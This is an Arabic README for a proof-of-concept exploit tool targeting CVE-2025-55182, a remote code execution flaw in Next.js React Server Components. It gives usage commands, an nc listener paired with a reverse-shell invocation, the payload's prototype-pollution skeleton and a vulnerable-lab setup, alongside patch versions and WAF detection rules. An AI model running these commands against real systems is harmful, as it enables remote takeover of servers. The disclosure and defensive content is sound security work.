React2Shell - إثبات مفهوم استغلال CVE-2025-55182

أداة استغلال (إثبات مفهوم) لثغرة CVE-2025-55182، وهي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد داخل تطبيقات Next.js التي تستخدم React Server Components.

⚠️ إخلاء المسؤولية

هذه الأداة مخصصة للاختبارات الأمنية التعليمية والمصرح بها فقط.

• ❌ لا تستخدمها ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها
• ❌ الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني
• ✅ استخدمها فقط في بيئات خاضعة للتحكم لأغراض التعلم واختبارات الاختراق المصرح بها
• ✅ المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة

📋 تفاصيل الثغرة

• معرف CVE: CVE-2025-55182
• نوع الثغرة: تنفيذ التعليمات البرمجية عن بُعد في React Server Components
• الإصدارات المتأثرة:
  • Next.js: ≥14.3.0-canary.77، جميع إصدارات 15.x و16.x التي تستخدم App Router
  • React: 19.0، 19.1.0، 19.1.1، 19.2.0
• الإصدارات المُصحَّحة:
  • Next.js: 16.0.7، 15.5.7، 15.4.8، 15.3.6، 15.2.6، 15.1.9، 15.0.5
  • React: 19.0.1، 19.1.2، 19.2.1
• درجة CVSS: حرجة
• ناقل الهجوم: عبر الشبكة، يتطلب طلب POST مُصممًا خصيصًا

🎯 الميزات

• ✅ دعم عبر المنصات (Windows و Linux)
• ✅ أنواع حمولات متعددة
• ✅ إمكانية إنشاء صدفة عكسية (Reverse shell)
• ✅ حمولات إثبات مرئية (calc، notepad)
• ✅ عمليات على نظام الملفات
• ✅ جمع معلومات النظام

🔧 التثبيت

# Clone or download this repository
git clone https://github.com/zr0n/react2shell
cd react2shell

# Install dependencies
npm install form-data

💻 الاستخدام

الصيغة الأساسية

node react2shell.js <target_url> <payload_type> [options]

الحمولات المتاحة

أمثلة

1. إثبات المفهوم الأساسي

node react2shell.js http://localhost:3000 basic
# Check server console for output: EXPLOITED: 50

2. استطلاع النظام

# Get current user
node react2shell.js http://localhost:3000 whoami

# List files
node react2shell.js http://localhost:3000 dir

# System information
node react2shell.js http://localhost:3000 systeminfo

3. الإثبات المرئي (ويندوز)

# Launch calculator
node react2shell.js http://localhost:3000 calc

# Launch notepad
node react2shell.js http://localhost:3000 notepad

4. إثبات إنشاء ملف

node react2shell.js http://localhost:3000 file
# Check server directory for EXPLOITED.txt

5. الصدفة العكسية

# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Execute exploit
node react2shell.js http://localhost:3000 shell <YOUR_IP> 4444

# Works on both Windows (PowerShell) and Linux (Bash)

🏗️ إعداد بيئة قابلة للاستغلال

المتطلبات الأساسية

• Node.js 18+
• npm أو yarn

إنشاء تطبيق Next.js قابل للاستغلال

# Create project directory
mkdir vulnerable-nextjs-app
cd vulnerable-nextjs-app

# Initialize Next.js with vulnerable version
npx create-next-app@latest . --ts --app --no-eslint --tailwind

# Downgrade to vulnerable version
npm install [email protected]

# Install dependencies
npm install

تطبيق مصغّر قابل للاستغلال (app/page.tsx)

export default function Home() {
  return (
    <div className="p-8">
      <h1 className="text-4xl font-bold">Vulnerable Next.js App</h1>
      <p className="mt-4">This app is vulnerable to CVE-2025-55182</p>
    </div>
  );
}

تشغيل الخادم

npm run dev
# Server runs on http://localhost:3000

🔍 كيفية العمل

يعتمد هذا الاستغلال على ثغرة إلغاء تسلسل (Deserialization) في React Server Components:

1. بناء الحمولة: إنشاء كائن مُسلسَل خبيث مع تلويث النموذج الأولي (Prototype Pollution)
2. الوصول إلى مُنشئ الدوال (Function Constructor): استغلال constructor.constructor للوصول إلى مُنشئ Function
3. حقن التعليمات البرمجية: حقن كود JavaScript عشوائي عبر حقل _prefix
4. التنفيذ: يقوم الخادم بإلغاء تسلسل الحمولة وتنفيذ الكود المحقون

التفاصيل التقنية

// Simplified vulnerability chain
{
  _formData: {
    get: '$3:constructor:constructor' // Access Function constructor
  },
  _prefix: 'YOUR_CODE_HERE//' // Injected code
}

🛡️ الإجراءات الوقائية

لمالكي التطبيقات

1. التحديث فورًا:

   root@kitploit:~

   npm update next@latest
   npm update react@latest react-dom@latest
   

2. التحقق من الإصدارات المُصحَّحة:

   root@kitploit:~

   npm list next react
   

3. الإصدارات المطلوبة:

   • Next.js: ≥16.0.7 أو ≥15.5.7
   • React: ≥19.2.1 أو ≥19.1.2

لفرق الأمان

• افحص البنية التحتية بحثًا عن إصدارات Next.js القابلة للاستغلال
• طبّق قواعد جدار حماية تطبيقات الويب (WAF) لكشف حمولات RSC الخبيثة
• راقب طلبات POST المشبوهة التي تحمل ترويسات next-action
• راجع سجلات الخادم بحثًا عن أنماط تنفيذ كود غير متوقعة

📊 الكشف

قواعد WAF

ابحث عن طلبات POST التي تحتوي على:

• الترويسة: next-action
• نوع المحتوى: multipart/form-data
• نص يتضمن: constructor, _prefix, _formData

أنماط السجلات

POST / with next-action header
Suspicious FormData keys: 0, 1, 2, 3, 4
Response: 200 (successful exploitation) or 500 (failed)

📚 المراجع

• CVE-2025-55182 - NVD
• نشرات أمان Next.js
• تحديثات أمان React
• حقن الكود - OWASP

🤝 المساهمة

هذه أداة تعليمية. المساهمات التي تعمل على تحسين:

• إمكانيات الكشف
• التوثيق
• استراتيجيات الدفاع
• المحتوى التعليمي

مرحب بها. لا تقدم مساهمات تعزز قدرات الهجوم.

📜 الترخيص

للاستخدام التعليمي فقط - دون أي ضمان

👤 المؤلف

Luiz Fernando Ziron أُنشئت لأغراض التعليم والتوعية في مجال الأمن السيبراني.

⚖️ إشعار قانوني

باستخدامك لهذه الأداة، فإنك توافق على:

• استخدامها فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها
• تحمل المسؤولية الكاملة عن أفعالك
• عدم تحميل المؤلف المسؤولية عن أي إساءة استخدام أو ضرر
• الامتثال لجميع القوانين واللوائح المعمول بها

الوصول غير المصرح به إلى أنظمة الكمبيوتر جريمة في معظم الدول.

ابقَ آمنًا، وحافظ على الأخلاقيات، والتزم بالقانون. 🔒